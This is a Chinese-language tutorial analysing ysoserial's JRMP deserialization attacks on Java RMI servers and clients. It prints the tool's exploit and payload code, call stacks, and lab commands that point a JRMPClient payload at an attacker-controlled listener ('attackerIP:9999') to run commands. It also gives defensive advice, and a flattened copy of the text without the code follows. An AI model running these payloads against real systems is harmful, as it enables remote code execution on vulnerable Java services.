Java安全之ysoserial JRMP分析
字数 2482 2025-08-20 18:17:07

Java安全之ysoserial JRMP分析教学文档

一、JRMP协议概述

JRMP(Java Remote Method Protocol)是Java RMI(Remote Method Invocation)的底层协议,用于实现Java远程方法调用。在安全研究中,JRMP可以被利用来构造特定的反序列化攻击链。

二、相关核心类分析

1. sun.rmi.transport.tcp.TCPEndpoint

  • 表示基于TCP的远程通信终点(endpoint)
  • 包含远程主机的主机名和端口号
  • 用于建立TCP连接

2. java.rmi.server.ObjID

  • 在Java RMI中唯一标识远程对象
  • 每个远程对象都有一个唯一的ObjID
  • 用于在远程通信中识别和定位对象

3. sun.rmi.server.UnicastRef

  • 表示单播(Unicast)通信模式下的远程引用
  • 实现了RemoteRef接口
  • 用于在远程对象之间进行通信

4. sun.rmi.transport.LiveRef

  • 表示远程对象的活动引用
  • 包含远程对象的通信地址、端口和标识符
  • 用于建立与远程对象的通信连接

5. java.rmi.server.RemoteObjectInvocationHandler

  • 实现RMI中的代理模式
  • 充当远程对象的调用处理程序
  • 负责处理与远程对象之间的通信和结果返回

6. sun.rmi.server.UnicastServerRef

  • 实现基于单播通信方式的服务器端引用
  • 管理服务器端引用的创建、通信和远程方法调用转发
  • 处理序列化和反序列化

7. sun.rmi.transport.Target

  • 封装远程对象信息和远程通信目标
  • 包含远程对象本身、骨架、目标地址和对象标识符
  • 用于在远程通信中确定目标

8. java.rmi.dgc.DGC

  • 实现分布式垃圾回收的核心组件
  • 管理远程对象的生命周期和执行垃圾回收操作
  • 确保远程对象资源正确释放

9. sun.rmi.transport.DGCImpl_Skel

  • 实现分布式垃圾回收的关键组件
  • 作为服务器端的骨架类
  • 接收远程垃圾回收调用请求并分派给具体实现

三、攻击模式分析

1. 对服务端的攻击模式(payloads.JRMPListener + exploit.JRMPClient)

payloads.JRMPListener生成payload

public UnicastRemoteObject getObject(final String command) throws Exception {
    int jrmpPort = Integer.parseInt(command);
    UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, 
        RemoteObject.class, 
        new Class[] { RemoteRef.class }, 
        new Object[] { new UnicastServerRef(jrmpPort) });
    
    Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
    return uro;
}

关键点:

  1. 使用Reflections.createWithConstructor构造UnicastRemoteObject对象
  2. 将端口作为参数创建UnicastServerRef对象
  3. 设置UnicastRemoteObject对象的port属性

反序列化过程分析

函数调用栈:

listen:319, TCPTransport (sun.rmi.transport.tcp)
exportObject:249, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:208, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:320, UnicastRemoteObject (java.rmi.server)
reexport:266, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)

关键点:

  1. 反序列化触发UnicastRemoteObject的readObject方法
  2. readObject调用reexport方法
  3. reexport调用exportObject方法
  4. 最终在TCPTransport.listen方法中创建服务器套接字并监听

exploit.JRMPClient攻击流程

public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
    InetSocketAddress isa = new InetSocketAddress(hostname, port);
    Socket s = SocketFactory.getDefault().createSocket(hostname, port);
    DataOutputStream dos = new DataOutputStream(s.getOutputStream());
    
    dos.writeInt(TransportConstants.Magic);
    dos.writeShort(TransportConstants.Version);
    dos.writeByte(TransportConstants.SingleOpProtocol);
    dos.write(TransportConstants.Call);
    
    ObjectOutputStream objOut = new MarshalOutputStream(dos);
    objOut.writeLong(2); // DGC
    objOut.writeInt(0);
    objOut.writeLong(0);
    objOut.writeShort(0);
    objOut.writeInt(1); // dirty
    objOut.writeLong(-669196253586618813L);
    objOut.writeObject(payloadObject);
}

关键点:

  1. 建立与目标服务器的连接
  2. 写入JRMP协议头信息
  3. 写入特定的DGC调用标识(-669196253586618813L)
  4. 发送payload对象

2. 对客户端的攻击模式(exploit.JRMPListener + payloads.JRMPClient)

exploit.JRMPListener工作原理

public void run() {
    while(!this.exit && (s = this.ss.accept()) != null) {
        InputStream is = s.getInputStream();
        DataInputStream in = new DataInputStream(is);
        
        int magic = in.readInt();
        short version = in.readShort();
        byte protocol = in.readByte();
        
        switch(protocol) {
            case TransportConstants.SingleOpProtocol:
                doMessage(s, in, out, this.payloadObject);
                break;
        }
    }
}

private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
    int op = in.read();
    switch(op) {
        case TransportConstants.Call:
            doCall(in, out, payload);
            break;
    }
}

private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(in) {
        @Override
        protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
            // 限制可反序列化的类
        }
    };
    
    out.writeByte(TransportConstants.Return);
    ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
    oos.writeByte(TransportConstants.ExceptionalReturn);
    new UID().write(oos);
    
    BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(ex, "val", payload);
    oos.writeObject(ex);
}

关键点:

  1. 监听指定端口等待连接
  2. 处理JRMP协议消息
  3. 构造包含payload的异常响应
  4. 将payload写入BadAttributeValueExpException的val属性

payloads.JRMPClient构造

public Registry getObject(final String command) throws Exception {
    String host = command.substring(0, command.indexOf(':'));
    int port = Integer.valueOf(command.substring(command.indexOf(':') + 1));
    
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    
    Registry proxy = (Registry) Proxy.newProxyInstance(
        JRMPClient.class.getClassLoader(), 
        new Class[] { Registry.class }, 
        obj);
    return proxy;
}

关键点:

  1. 创建ObjID标识远程对象
  2. 使用TCPEndpoint指定目标地址
  3. 创建UnicastRef和LiveRef
  4. 使用RemoteObjectInvocationHandler创建代理对象

反序列化触发流程

函数调用栈:

newCall:340, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)

关键点:

  1. 反序列化触发RemoteObject的readObject方法
  2. readObject调用readExternal方法
  3. 最终通过DGCClient.registerRefs注册引用
  4. 触发与恶意JRMPListener的通信

四、攻击流程总结

1. 对服务端的攻击流程

  1. 攻击者使用vps启用ysoserial.exploit.JRMPListener,设置命令、端口和利用模块,生成payload1
  2. 攻击者本地使用payloads.JRMPClient生成payload2,设置vps的ip与端口
  3. 攻击者将payload2发送至存在漏洞的目标服务器
  4. 目标服务器反序列化过程中会与exploit.JRMPListener进行通信
  5. vps将payload1发送至目标漏洞服务器
  6. 漏洞服务器反序列化payload1,触发RCE

2. 对客户端的攻击流程

  1. 攻击者使用exploit.JRMPListener作为恶意服务器端,等待目标连接
  2. payloads.JRMPClient构造向JRMPListener发起远程对象请求的payload
  3. 目标客户端反序列化payload后连接恶意JRMPListener
  4. JRMPListener返回包含恶意payload的响应
  5. 客户端处理响应时触发反序列化漏洞

五、防御建议

  1. 升级Java环境,使用最新版本
  2. 限制反序列化的类,使用白名单机制
  3. 使用安全管理器限制网络访问
  4. 监控和过滤可疑的JRMP流量
  5. 对RMI服务进行适当的网络隔离

六、参考资源

  1. https://www.cnblogs.com/nice0e3/p/14333695.html
  2. https://xz.aliyun.com/t/2651
  3. https://xz.aliyun.com/t/2650

七、实验环境建议

  • JDK版本:8u66(漏洞存在版本)
  • 工具:ysoserial-all.jar
  • 测试命令示例:
    # 对服务端攻击
    java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/cve-2017-3248'
    java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer
    
    # 对客户端攻击
    java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'calc.exe'
    java -jar ysoserial.jar JRMPClient 'attackerIP:9999' | sendToVictim
    
Java安全之ysoserial JRMP分析教学文档 一、JRMP协议概述 JRMP(Java Remote Method Protocol)是Java RMI(Remote Method Invocation)的底层协议,用于实现Java远程方法调用。在安全研究中,JRMP可以被利用来构造特定的反序列化攻击链。 二、相关核心类分析 1. sun.rmi.transport.tcp.TCPEndpoint 表示基于TCP的远程通信终点(endpoint) 包含远程主机的主机名和端口号 用于建立TCP连接 2. java.rmi.server.ObjID 在Java RMI中唯一标识远程对象 每个远程对象都有一个唯一的ObjID 用于在远程通信中识别和定位对象 3. sun.rmi.server.UnicastRef 表示单播(Unicast)通信模式下的远程引用 实现了RemoteRef接口 用于在远程对象之间进行通信 4. sun.rmi.transport.LiveRef 表示远程对象的活动引用 包含远程对象的通信地址、端口和标识符 用于建立与远程对象的通信连接 5. java.rmi.server.RemoteObjectInvocationHandler 实现RMI中的代理模式 充当远程对象的调用处理程序 负责处理与远程对象之间的通信和结果返回 6. sun.rmi.server.UnicastServerRef 实现基于单播通信方式的服务器端引用 管理服务器端引用的创建、通信和远程方法调用转发 处理序列化和反序列化 7. sun.rmi.transport.Target 封装远程对象信息和远程通信目标 包含远程对象本身、骨架、目标地址和对象标识符 用于在远程通信中确定目标 8. java.rmi.dgc.DGC 实现分布式垃圾回收的核心组件 管理远程对象的生命周期和执行垃圾回收操作 确保远程对象资源正确释放 9. sun.rmi.transport.DGCImpl_ Skel 实现分布式垃圾回收的关键组件 作为服务器端的骨架类 接收远程垃圾回收调用请求并分派给具体实现 三、攻击模式分析 1. 对服务端的攻击模式(payloads.JRMPListener + exploit.JRMPClient) payloads.JRMPListener生成payload 关键点: 使用Reflections.createWithConstructor构造UnicastRemoteObject对象 将端口作为参数创建UnicastServerRef对象 设置UnicastRemoteObject对象的port属性 反序列化过程分析 函数调用栈: 关键点: 反序列化触发UnicastRemoteObject的readObject方法 readObject调用reexport方法 reexport调用exportObject方法 最终在TCPTransport.listen方法中创建服务器套接字并监听 exploit.JRMPClient攻击流程 关键点: 建立与目标服务器的连接 写入JRMP协议头信息 写入特定的DGC调用标识(-669196253586618813L) 发送payload对象 2. 对客户端的攻击模式(exploit.JRMPListener + payloads.JRMPClient) exploit.JRMPListener工作原理 关键点: 监听指定端口等待连接 处理JRMP协议消息 构造包含payload的异常响应 将payload写入BadAttributeValueExpException的val属性 payloads.JRMPClient构造 关键点: 创建ObjID标识远程对象 使用TCPEndpoint指定目标地址 创建UnicastRef和LiveRef 使用RemoteObjectInvocationHandler创建代理对象 反序列化触发流程 函数调用栈: 关键点: 反序列化触发RemoteObject的readObject方法 readObject调用readExternal方法 最终通过DGCClient.registerRefs注册引用 触发与恶意JRMPListener的通信 四、攻击流程总结 1. 对服务端的攻击流程 攻击者使用vps启用ysoserial.exploit.JRMPListener,设置命令、端口和利用模块,生成payload1 攻击者本地使用payloads.JRMPClient生成payload2,设置vps的ip与端口 攻击者将payload2发送至存在漏洞的目标服务器 目标服务器反序列化过程中会与exploit.JRMPListener进行通信 vps将payload1发送至目标漏洞服务器 漏洞服务器反序列化payload1,触发RCE 2. 对客户端的攻击流程 攻击者使用exploit.JRMPListener作为恶意服务器端,等待目标连接 payloads.JRMPClient构造向JRMPListener发起远程对象请求的payload 目标客户端反序列化payload后连接恶意JRMPListener JRMPListener返回包含恶意payload的响应 客户端处理响应时触发反序列化漏洞 五、防御建议 升级Java环境,使用最新版本 限制反序列化的类,使用白名单机制 使用安全管理器限制网络访问 监控和过滤可疑的JRMP流量 对RMI服务进行适当的网络隔离 六、参考资源 https://www.cnblogs.com/nice0e3/p/14333695.html https://xz.aliyun.com/t/2651 https://xz.aliyun.com/t/2650 七、实验环境建议 JDK版本:8u66(漏洞存在版本) 工具:ysoserial-all.jar 测试命令示例: